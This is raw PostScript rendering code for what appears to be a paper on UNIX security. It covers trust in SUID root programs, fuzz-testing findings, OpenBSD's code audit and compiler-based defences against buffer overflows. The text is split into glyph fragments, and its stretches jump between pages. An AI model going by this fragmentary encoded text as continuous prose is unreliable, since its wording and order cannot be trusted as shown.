0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 27.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.100 0 (ss)A (u)S 0.200 0 (m)A 24.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 23.800 0 32 0.200 0 (t )D -0.400 0 (a)A 23.800 0 32 0.200 0 (ll )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 24.000 0 32 (, p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 24.000 0 32 (d )W -0.400 0 (a)A 24.000 0 32 (nd non)W -0.300 0 (-)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4575 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 20.000 0 32 (d, )W -0.400 0 (a)A -0.300 0 (r)A 20.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 20.000 0 32 (o b)W 20.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 20.000 0 32 (d. )W -0.700 0 (B)A 23.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (o)S -0.300 0 (r)A 20.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 20.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 21.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A -0.400 0 (ce)A 19.900 0 32 0.100 0 (s )D 20.000 0 32 (on )W -0.400 0 (a)A 19.800 0 32 0.200 0 (ll )D -0.200 0 (UN)A -2.300 0 (I)A -0.200 0 (X)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4752 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 12.800 0 32 0.200 0 (m )D -0.400 0 (c)A (od)S -0.400 0 (e)A 13.000 0 32 (, )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 12.800 0 32 0.200 0 (t )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e c)D (od)S 13.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (a)A 0.100 0 (s)A 13.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (e)A (n)S -1.000 0 (g)A 0.200 0 (t)A (h)S -0.400 0 (e)A (n)S -0.400 0 (e)A 13.000 0 32 (d. )W 0.400 0 (S)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 14.000 0 32 (nd )W -0.300 0 (r)A (obu)S 0.100 0 (s)A 0.200 0 (t)A (n)S -0.400 0 (e)A 13.900 0 32 0.100 0 (ss )D (bo)S 0.200 0 (t)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4929 M 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A (nk)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D -0.400 0 (a)A (bou)S 14.800 0 32 0.200 0 (t t)D (h)S 15.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.200 0 (w)A -0.400 0 (a)A (b)S 0.200 0 (l)A 15.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (npu)S 0.200 0 (t)A 14.900 0 32 0.100 0 (s )D -0.400 0 (a)A 15.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (pon)S 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A 15.000 0 32 (, )W -0.400 0 (a)A 15.000 0 32 (nd )W 0.200 0 (limiti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A 15.800 0 32 0.200 0 (m )D 0.100 0 (s)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5106 M -0.097 0 (undesirable responses are not produced.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5283 M -2.300 0 (I)A 16.000 0 32 (n )W 17.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (ece)A (n)S 16.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A (ud)S 20.000 0 32 -3.000 0 (y )D (b)S 20.000 0 32 -3.000 0 (y )D 17.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (ea)A -0.300 0 (r)A -0.400 0 (c)A 17.000 0 32 (h )W 0.200 0 (t)A -0.400 0 (ea)A 16.800 0 32 0.200 0 (m l)D -0.400 0 (ea)A 17.000 0 32 (d b)W 20.000 0 32 -3.000 0 (y )D -0.700 0 (B)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A 17.000 0 32 (on )W 0.400 0 (P)A 17.000 0 32 (. )W 0.100 0 (M)A 0.200 0 (ill)A -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 16.800 0 32 0.200 0 (t t)D (h)S 17.400 0 32 -0.400 0 (e )D -0.200 0 (U)A (n)S 0.200 0 (i)A (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (it)A 20.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (f)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.200 0 (w)A 0.200 0 (it)A 16.000 0 32 (h )W 0.200 0 (i)A (nv)S -0.400 0 (a)A 0.200 0 (li)A 16.000 0 32 (d d)W -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A 16.000 0 32 (. )W 0.600 0 (W)A (h)S 0.200 0 (il)A 16.400 0 32 -0.400 0 (e )D (on)S 0.200 0 (l)A 19.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (o)S 0.200 0 (m)A 17.400 0 32 -0.400 0 (e )D (o)S 17.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 16.900 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 17.000 0 32 (d )W 0.200 0 (i)A 17.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 16.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S 20.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A 17.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 30.000 0 32 (, )W 0.200 0 (m)A -0.400 0 (a)A (n)S 33.000 0 32 -3.000 0 (y )D (o)S 31.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 31.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 30.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A 31.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 31.000 0 32 (d b)W 34.000 0 32 -3.000 0 (y )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 31.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 30.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 31.000 0 32 (, )W -0.400 0 (a)A 31.000 0 32 (nd )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (a)A -0.200 0 (w)A 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2451 M -0.073 0 (operation was assumed.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2628 M 0.100 0 (M)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 19.400 0 32 -0.400 0 (e c)D (od)S 19.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 19.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D (on)S 0.200 0 (l)A 23.000 0 32 -3.000 0 (y )D (n)S -0.400 0 (ea)A 20.300 0 32 -0.300 0 (r f)D (oo)S 0.200 0 (l)A (p)S -0.300 0 (r)A (oo)S 20.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A 20.000 0 32 (hod o)W 20.300 0 32 -0.300 0 (f )D 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (a)A 19.800 0 32 0.200 0 (t )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 20.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2805 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D (no)S 3.800 0 32 0.200 0 (t )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A -0.400 0 (e)A 4.000 0 32 (d. )W -0.200 0 (N)A (o)S 3.800 0 32 0.200 0 (t )D (on)S 0.200 0 (l)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (ca)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A (vo)S 0.200 0 (i)A 4.000 0 32 (d bu)W -0.300 0 (ff)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 4.000 0 32 (, bu)W 4.800 0 32 0.200 0 (t it )D -0.200 0 (w)A 0.200 0 (ill)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2982 M (bu)S 0.200 0 (il)A 14.000 0 32 (d )W -0.300 0 (f)A -0.400 0 (a)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 14.000 0 32 (, )W 0.200 0 (m)A (o)S -0.300 0 (r)A 14.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S 0.200 0 (t)A 14.000 0 32 (, )W -0.300 0 (r)A (obu)S 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D -0.400 0 (c)A (od)S 14.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (it)A 14.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 13.800 0 32 0.200 0 (t t)D 14.000 0 32 (o non)W -0.300 0 (-)A 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (ea)A 13.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3159 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 11.000 0 32 (. )W -0.100 0 (T)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (O)A (p)S -0.400 0 (e)A (n)S -0.700 0 (B)A 0.400 0 (S)A 11.200 0 32 -0.200 0 (D )D (p)S -0.300 0 (r)A (o)S 0.200 0 (j)A -0.400 0 (ec)A 10.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A 10.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A 0.200 0 (i)A 11.000 0 32 (d )W 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.400 0 (a)A 10.800 0 32 0.200 0 (l )D -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A (n)S 0.200 0 (ti)A 11.000 0 32 (on )W 0.200 0 (t)A 11.000 0 32 (o )W 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A 11.000 0 32 (, )W -0.400 0 (a)A 10.900 0 32 0.100 0 (s )D 0.200 0 (it)A 10.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S 0.200 0 (i)A -0.400 0 (e)A 12.300 0 32 -0.300 0 (f )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 11.800 0 32 0.200 0 (l )D (h)S -0.400 0 (ac)A (k)S -0.400 0 (e)A -0.300 0 (r)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3336 M -0.090 0 (Theo DeRaadt commented in a recent e-mail:)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3513 M -0.069 0 (\223During the OpenBSD security code review that we've been doing for)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3611 M -0.093 0 (almost a year now, we have fixed numerous other robustness problems.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3709 M -0.074 0 (Just as a small example, more than 10 ways to make ftpd dump core have)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3807 M -0.029 0 (been resolved. Thousands of non-security bugs got fixed at the same)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 3905 M 0.001 0 (time. When you are looking at each source file one by one, it is an ideal)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4003 M -0.037 0 (time to evaluate what problems and solutions other OS groups have)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1212 4101 M 0.174 0 (done.\224)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4376 M -0.100 0 (T)A (h)S 12.400 0 32 -0.400 0 (e )D (d)S 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (a)A (dv)S -0.400 0 (a)A (n)S 0.200 0 (t)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (a)A (nu)S -0.400 0 (a)A 0.200 0 (ll)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 12.800 0 32 0.200 0 (ll )D -0.400 0 (a)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 13.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D (obv)S 0.200 0 (i)A (ou)S 12.900 0 32 0.100 0 (s s)D 0.200 0 (i)A (n)S 13.400 0 32 -0.400 0 (ce a)D 0.200 0 (ll)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4553 M 0.100 0 (s)A (ub)S 0.200 0 (j)A -0.400 0 (ec)A 13.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 13.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.100 0 (s)A 13.800 0 32 0.200 0 (t )D (b)S 14.400 0 32 -0.400 0 (e c)D (h)S -0.400 0 (ec)A (k)S -0.400 0 (e)A 14.000 0 32 (d b)W 17.000 0 32 -3.000 0 (y )D (h)S -0.400 0 (a)A 14.000 0 32 (nd )W -0.400 0 (a)A 14.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 14.000 0 32 (d. )W -0.100 0 (T)A (hou)S 0.100 0 (s)A -0.400 0 (a)A (nd)S 13.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.200 0 (li)A (n)S -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D 0.100 0 (s)A (ou)S -0.300 0 (r)A -0.400 0 (ce)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4730 M -0.400 0 (c)A (od)S 16.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (u)S 0.100 0 (s)A 15.800 0 32 0.200 0 (t )D (h)S -0.400 0 (a)A (v)S 16.400 0 32 -0.400 0 (e a)D 15.800 0 32 0.200 0 (ll )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 17.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 16.900 0 32 0.100 0 (s )D -0.400 0 (a)A 17.000 0 32 (nd )W -0.200 0 (U)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (D )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 17.000 0 32 (on p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (mi)A (n)S -0.400 0 (e)A 17.000 0 32 (d )W -0.400 0 (a)A 17.000 0 32 (nd )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 17.000 0 32 (d, )W 0.200 0 (i)A -0.300 0 (f)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1949 M -0.149 0 (concepts behind the C programming language.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2126 M 7.200 0 32 -0.200 0 (A )D 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 7.400 0 32 -0.400 0 (e a)D (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 7.000 0 32 (h o)W 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 6.900 0 32 0.100 0 (s )D (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A 7.000 0 32 (o )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 7.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 8.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 8.000 0 32 (h do)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2303 M (no)S 15.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (ff)A -0.400 0 (ec)A 15.800 0 32 0.200 0 (t t)D (h)S 16.400 0 32 -0.400 0 (e )D 15.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 17.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 16.000 0 32 (. )W -0.600 0 (F)A (o)S 16.300 0 32 -0.300 0 (r )D -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 16.000 0 32 (, )W 0.200 0 (t)A (h)S 16.400 0 32 -0.400 0 (e )D -0.700 0 (B)A 0.400 0 (S)A -0.200 0 (D)A 18.300 0 32 -2.300 0 (I )D -0.400 0 (a)A 16.000 0 32 (nd )W -0.200 0 (O)A (p)S -0.400 0 (e)A (n)S -0.700 0 (B)A 0.400 0 (S)A 16.200 0 32 -0.200 0 (D )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2480 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 0.100 0 (s)A 33.300 0 32 -0.300 0 (\222 )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 32.900 0 32 0.100 0 (s )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 33.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S 34.000 0 32 -1.000 0 (g )D 0.200 0 (m)A -0.400 0 (e)A 0.100 0 (ss)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 32.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S -0.400 0 (e)A 33.000 0 32 (n )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (ili)A (n)S 34.000 0 32 -1.000 0 (g )D 34.400 0 32 -0.400 0 (a )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 33.800 0 32 0.200 0 (m )D -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 34.000 0 32 (h u)W 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2657 M -0.400 0 (\223)A (d)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A -0.300 0 (r)A (ou)S 0.100 0 (s)A 1.400 0 32 -0.400 0 (\224 )D -0.300 0 (\()A 0.100 0 (s)A 1.400 0 32 -0.400 0 (ee )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F6) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F6_100) cvn F6 100 xF F6_100 Ji 1321 2657 M 0.200 0 (fi)A 1.000 0 32 (g 9.1.a)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 1653 2657 M 1.300 0 32 -0.300 0 (\) f)D (un)S -0.400 0 (c)A 0.200 0 (ti)A 1.000 0 32 (on )W -0.400 0 (ca)A 0.200 0 (ll)A 0.100 0 (s)A 1.000 0 32 (. )W -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A (p)S 0.200 0 (it)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 1.900 0 32 0.100 0 (s s)D (ho)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (c)A (o)S 0.200 0 (mi)A (n)S -1.000 0 (g)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A 0.200 0 (i)A 2.000 0 32 (n b)W -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (f)A 1.800 0 32 0.200 0 (it )D (o)S 2.300 0 32 -0.300 0 (f )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2834 M -0.400 0 (a)A 4.000 0 32 (n )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 4.000 0 32 (h )W 0.100 0 (s)A (u)S -0.400 0 (c)A 4.000 0 32 (h )W -0.400 0 (a)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 3.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t it )D -0.400 0 (e)A (n)S -0.400 0 (c)A (ou)S -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s s)D -0.400 0 (ec)A (u)S -0.300 0 (r)A 5.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 6.000 0 32 -1.000 0 (g )D -0.200 0 (w)A 0.200 0 (it)A (hou)S 4.800 0 32 0.200 0 (t )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e c)D (od)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3011 M -0.111 0 (or its performance.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3188 M 8.200 0 32 -0.200 0 (A )D 0.200 0 (m)A -0.400 0 (e)A (d)S 0.200 0 (i)A -0.400 0 (a)A 8.000 0 32 (n )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 8.000 0 32 (h o)W 8.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D (n)S -0.400 0 (a)A 0.200 0 (t)A (u)S -0.300 0 (r)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 7.900 0 32 0.100 0 (s s)D 0.200 0 (li)A -1.000 0 (g)A (h)S 7.800 0 32 0.200 0 (t m)D (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ti)A (on)S 7.900 0 32 0.100 0 (s )D 0.200 0 (t)A 8.000 0 32 (o )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A -0.300 0 (r)A 9.000 0 32 (, )W 0.100 0 (s)A (u)S -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3365 M -0.400 0 (a)A 0.900 0 32 0.100 0 (s )D 0.200 0 (t)A (ho)S 0.100 0 (s)A 1.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (opo)S 0.100 0 (s)A -0.400 0 (e)A 1.000 0 32 (d b)W 4.000 0 32 -3.000 0 (y )D -0.200 0 (A)A 0.200 0 (l)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A (nd)S -0.300 0 (r)A 